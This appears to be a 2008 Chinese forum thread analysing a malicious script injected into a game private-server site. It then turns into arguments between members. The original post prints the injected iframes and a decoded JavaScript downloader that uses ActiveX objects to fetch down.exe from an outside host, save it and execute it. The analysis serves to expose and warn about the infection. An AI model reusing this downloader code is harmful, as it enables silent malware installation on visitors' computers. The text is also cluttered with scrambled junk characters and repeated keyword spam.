标题: [讨论] cg23分析 [打印本页]

---

作者: 黄昏    时间: 2008-2-4 21:47     标题: cg23分析

Host: www.cg23.cn
( v2 {! j! \9 p4 [$ ubbs.mocwww.comContent-Location: http://www.cg23.cn/Index.htm妖城在线论坛# I# H, Y* c" M+ x) @
--srcbbs.mocwww.com* h( |) c  p6 s; q# x- \

5 r' ^0 I% ]" S2 Q妖城在线论坛<script language="JavaScript" type="text/JavaScript" src="http://news.baidu.com/ns?word=title%3A%C4%A7%C1%A6%B1%A6%B1%B4&tn=newsfcu&from=news&cl=2&rn=25&ct=0"></script>- r' w& E+ p, R5 {' u& W
--百度新闻-魔力宝贝
& q3 K- D/ G. e5 `( o- g# O魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
2 F% ?& R% R7 U4 ~: I  B魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表http://wpa.qq.com/pa?p=1:******************
+ |$ W9 B7 H& q2 e$ o10数个魔力技术顾问的QQ链接bbs.mocwww.com+ z6 N/ i- X' j% N! C7 R

" W* v& Y# j( r! Y5 i魔力私服,最新魔力宝贝私服技术交流<script src="javascript/jf.js" type="text/javascript"></script>魔力私服,最新魔力宝贝私服技术交流  P/ N. Z: o6 v8 P
//模仿语言包式的简繁转换功能插件！魔力私服,最新魔力宝贝私服技术交流' e! R- H6 e3 h3 g0 i) A* H

0 S  @: W+ e7 `妖城在线论坛<script language="javascript" type="text/javascript" src="http://js.users.51.la/1326170.js"></script>
. g# E: O- n; Lbbs.mocwww.com51.la流量统计
7 F8 p- u' j$ B& e8 }妖城在线论坛
5 g. M3 C2 \& X2 l, h1 [<script src='http://s71.cnzz.com/stat.php?id=722391&web_id=722391&online=2' language='JavaScript' charset='gb2312'></script>妖城在线论坛! S, S7 x6 X( A4 c. `" J: }
cnzz流量统计bbs.mocwww.com4 w4 H/ e: Q8 d0 g9 ?# b
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表5 v; A0 d  @& Y2 n1 Y  t" F8 @
<script language="javascript" src="http://count36.51yes.com/click.aspx?id=361527223&logo=12"></script>魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表0 i$ L* _' Y/ M! n
51YES网站统计
; A7 @  E/ q$ a—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート! F/ M+ b$ @+ z4 m) r* y  Y1 I2 e7 x5 ~
<iframe src=http://1.100190.com/1.htm?6 width=50 height=0></iframe></a>
9 W3 t$ g& H1 ~; hbbs.mocwww.com下面是1.htm的内容
$ o* S6 l( y- ?( `7 I[<iframe src=http://1.100190.com/d/d.htm width=100 height=100></iframe>
8 Y; M8 Y& Z; j—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート<iframe src=http://1.100190.com/d/06014.htm width=100 height=100></iframe>
/ N+ H% ]0 ^2 p5 `8 g' a. R" B魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表<iframe src=http://1.100190.com/d/real.htm width=100 height=100></iframe>
/ i' Y  t. J7 m* w5 i/ q" N) ?6 ?魔力私服,最新魔力宝贝私服技术交流这里是重点了
2 m9 B; p! k* ~7 y' w魔力私服,最新魔力宝贝私服技术交流<script language="javascript" type="text/javascript" src="http://js.users.51.la/1586580.js"></script>
" L# I+ e- z2 r. l51.la流量统计
  l, |8 L- q* Q- d. \0 }3 e" ~# kbbs.mocwww.com]妖城在线论坛) }: V' Y0 @' a2 N3 i
闲来无事，给大家分析一下吧
: @& L. R  L* j6 ^* H" Y, D1 y妖城在线论坛06014.htm        看名字好像是蛮老的那个溢出洞洞( T+ V" X* H9 k% U
解码后. N7 K6 e% m- V, v
<script>var fuck,cike;fuck="http://1.111281.com/down.exe";cike="cike.com";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",fuck,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(cike,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shellexecute(cike,"","","open",0);}catch(e){};</script>bbs.mocwww.com8 t6 f+ a3 p) U( Q7 L$ w" [
貌似是个下载者饿，打包了，大家没事研究研究 我就跳过了……魔力私服,最新魔力宝贝私服技术交流( ]% ?# K; K) k9 O. [. Y) f! `+ |+ X
bbs.mocwww.com5 ]0 d/ n) Q2 c$ V% [3 i; r
d.htm        解码之
! f! q9 J- T8 l0 p- |$ F1 d) @<iframe style=display:none src="http://1.100190.com/d/bf.htm"></iframe>
1 ~) H. W9 ~" l0 T( S9 |# s1 f呜呜，我们继续
/ U( j( X$ [" s3 i魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表空文件，可能是后备用的吧
( g7 `2 Z# n7 d( L5 C, U—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート妖城在线论坛# N5 w: Z1 O8 `5 A2 I5 r! R; A
real.htm        看名字可能根播放器的oday有关魔力私服,最新魔力宝贝私服技术交流7 B8 v7 \! g  I% Q9 c
解码之——魔力私服,最新魔力宝贝私服技术交流0 O! U+ V3 @9 q8 k; G1 L. r
function RealExploit(){afdsffffasdf="flsdajflasdjfl32rewr231ffas";var ……% p" A/ k  S1 n* d! X) f% Q
恩，查资料得知为机器狗病毒，不过不玩这个 不大懂" p0 X$ h9 u( l$ ^
好了，确定是网马，至于效果如何，反正我没中招……魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表& |. u7 b, b. y2 G* v; x

; C) Y& S) o: K- b魔力私服,最新魔力宝贝私服技术交流就酱子吧，很多防护不好的网站都会被人挂马，希望cde尽快处理，我对其人没有任何恶意的，大家不要有事没事就对他妄加否定，
* ~1 Q3 c9 ?3 V4 {/ b想想 人家辛辛苦苦为了什么那？开那么多群，没说过收费什么的吧？ 有知道的东西就共享出来 也没见藏着掖着吧？ 妖城在线论坛) j; r9 c6 E$ L- b( C
紫薇剑是谁我不晓得，
6 z+ y' z; \' V4 T1 ~* L$ o妖城在线论坛但是cg23的ange我还是打过交道的……妖城在线论坛( N' G$ a: B6 V
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表# X' l  ^4 {: V- d
<param name="URL" value="http://www.jdzblog.com/uploadfiles/2007-3/327162852.mp3">
$ }5 U3 S9 ?: R0 c- c" _魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表最后给大家附个音乐 深吸一口气，放松一下，没什么大不了的……
% U. r0 f7 [1 p3 c* z: pbbs.mocwww.com—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート+ o/ g# y" e% ?8 I( w% p. ]
[ 本帖最后由 myzz01 于 2008-2-4 21:53 编辑 ]

---

作者: FGMAX    时间: 2008-2-4 21:49

那个是内嵌的JS调用溢出马.很老的一种了..0 a/ M6 Q1 c& Q/ P! C' e2 ^
LS的兄弟我劝你..
1 }# m6 Q- D5 q4 z. gbbs.mocwww.com搞CG,不知道紫薇剑,就和中国人不知道毛泽东一样.魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表0 k" K- i, s' c# J& u
你没资格说内些话..

---

作者: FGMAX    时间: 2008-2-4 21:50


  y0 h: I( W: J  g2 G8 \7 b魔力私服,最新魔力宝贝私服技术交流开那么多群.从来没说过话.
& y- x3 C, m7 y7 x3 O5 z: K. n0 \魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表和某XXOO反挂不一样?妖城在线论坛% t* F" h' S2 O( }+ |
技术群一大堆.问问题没见回.bbs.mocwww.com. ^: |- b, r0 }8 }9 @" I8 P/ }
一买他东西积极的很.
# x* u: U) E! o3 q, n: O% R( Z( _魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート3 t6 W5 \9 P5 r$ H
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表" ~# t5 g0 q0 G: i* Q
他现在扔出来的东西都是别人淘汰的.
- V0 |9 S+ z/ N) d& V) @—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート也不知道谁抱着一套所谓的反挂,还当宝咧..

---

作者: 厶⒉姙⒈    时间: 2008-2-4 21:58

这样啊··

---

作者: 黄昏    时间: 2008-2-4 21:59

那个  资格不晓得要怎么赚取 …… :-)  是不是当中国人只要知道毛泽东就具备中国人的血统了？估计某些知道老毛的小日本要雀跃了……8 V  q  R7 S/ ~. W# O% w
血统是与生俱来的，根毛泽东关系不大，我的资格 仿佛也根我知道不知道紫薇剑关系不大吧？
- L* [* s% V6 h' R妖城在线论坛我喜欢根海星兄 妖哥 小男这样说话爽快的人交流，至于不从技术方面讨论问题 而专门搞人事鉴定的……  不是很感冒……—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート; g/ a. f- h5 W8 f+ h
(*^__^*)   随便说说拉 ange真的打了很久叫道的 从我开始研究魔力（快1个月了） 没事都会在QQ上交流下的 ——感觉人有点迷糊 但是没有什么坏心眼吧？妖城在线论坛4 Y& U7 ]$ [* C
至于FGMAX ：） 我可是加你QQ拜师的哦 可惜你不回复…… 唉  要不现在收下我吧？

---

作者: FGMAX    时间: 2008-2-4 22:08

我，大家都知道，对话不对人。
( \7 @: ?9 }, B魔力私服,最新魔力宝贝私服技术交流要是惹着你了就当别在意。魔力私服,最新魔力宝贝私服技术交流9 J. e8 s1 ], v- w) ^

1 Z* r' c2 q) t8 L3 H3 `& i魔力私服,最新魔力宝贝私服技术交流加我人太多，每天问问题人也太多。
2 a( L& i) Z7 h3 X魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表不能一一照料。
& E  p% r5 a1 t0 h2 G' R4 f8 `* ^( {魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
/ F8 i( e9 W5 q- T- U妖城在线论坛我就收了一个徒弟，晨曦。
. _  r7 F7 Y2 D# U) D; V
, H$ g; w& v4 i5 R+ n—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート以后有需要就说，知道肯定告你。

---

作者: 黄昏    时间: 2008-2-4 22:28

引用:

原帖由 FGMAX 于 2008-2-4 22:08 发表 , F& B8 D6 Q# k$ T9 B" A
我，大家都知道，对话不对人。妖城在线论坛$ C7 d/ K, d! y& E2 X) H* T
要是惹着你了就当别在意。
, R6 J# q5 }7 O2 ]6 W妖城在线论坛
, ^0 {4 H- f& P0 B: x0 C  Z, I妖城在线论坛加我人太多，每天问问题人也太多。魔力私服,最新魔力宝贝私服技术交流" C. ]1 C- [6 g! @9 f" `: ^
不能一一照料。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート# ~* C9 y/ h/ W5 |( t% z# s

: D0 d8 s, @, c' sbbs.mocwww.com我就收了一个徒弟，晨曦。
- o6 U/ s9 b, {6 j魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
4 L2 H7 Y9 S9 h$ E! ybbs.mocwww.com以后有需要就说，知道肯定告你。

妖城在线论坛& }# d& e5 Y5 m: Z
bbs.mocwww.com3 n# Z9 n$ C! _0 R
4 x8 Z6 V  r2 S# y
：）  交个朋友 一起交流饿 …… 我去想办法看懂魔力封包处理部分的代码去…… 想学的东西太多 时间太少 一动就该睡觉了……郁闷　ＨＯＨＯ　　晚上见……

---

作者: 31558770a    时间: 2008-2-4 22:38

回家前 上来看看妖城在线论坛3 A0 m$ t* ]: @* g3 C2 E

---

作者: itsong    时间: 2008-2-4 22:45

RealPlayer 的溢出漏洞,打完RealPlayer溢出补丁的不会中.

---

作者: ｋ|尛水    时间: 2008-2-4 22:53

RealPlayer 不装呢- -

---

作者: healcs01    时间: 2008-2-5 08:54

CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

---

作者: 黄昏    时间: 2008-2-5 09:50

引用:

原帖由 ?ｋ|尛水 于 2008-2-4 22:53 发表 bbs.mocwww.com  V7 @$ _# M9 b" Y6 j1 i. j
RealPlayer 不装呢- -

—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート5 {" r7 p# E3 d9 V3 y3 `- `
不装当然就中不了real的0day了，不过其他溢出漏洞不胜枚举，而且就算不中马，被挂马的站访问起来也会很慢…… 经常访问很容易体会出区别…… 中木马也一样 你要经常使用电脑就会有手感的 当机器中木马病毒什么的 你就会感觉不顺手了……

---

作者: xuyaoxy    时间: 2008-2-5 10:49

呵呵...real我就没装过~~呵呵..

---

作者: 易凡    时间: 2008-2-6 13:41

我问问无双，是被人挂了还是自己搞的……。它那站流量也没多少，应该不至于坏自己的名声做这种事。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート4 Z1 O- A5 v6 |) m7 i0 J
' F( ]) R) {, Z2 N9 T- `
现在有马是事实了

---

作者: 囡囡    时间: 2008-2-6 15:25

没说过收费?那他的高级群谁出的QB,你也不想想

---

作者: FGMAX    时间: 2008-2-6 16:38

引用:

原帖由 healcs01 于 2008-2-5 08:54 发表
, K4 g( m2 `  E% zbbs.mocwww.comCG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表: a8 V. r' h4 B  {; K9 c6 q
  不知道有没有我们…魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表: V0 I' K7 g: r" s) k2 J$ h: z  C
               反正最近莫名其妙地很多人问问题…
6 y/ o3 x5 @" ]: Y/ U               替他们卖命…还有人很喜欢无双…`？魔力私服,最新魔力宝贝私服技术交流1 Z2 ]8 J6 z' y6 V" Z/ F6 {  ~/ G

. [) ]! u5 P2 n+ E魔力私服,最新魔力宝贝私服技术交流

---

欢迎光临 妖城在线论坛 (http://bbs.mocwww.com/)

Powered by Discuz! 6.0.0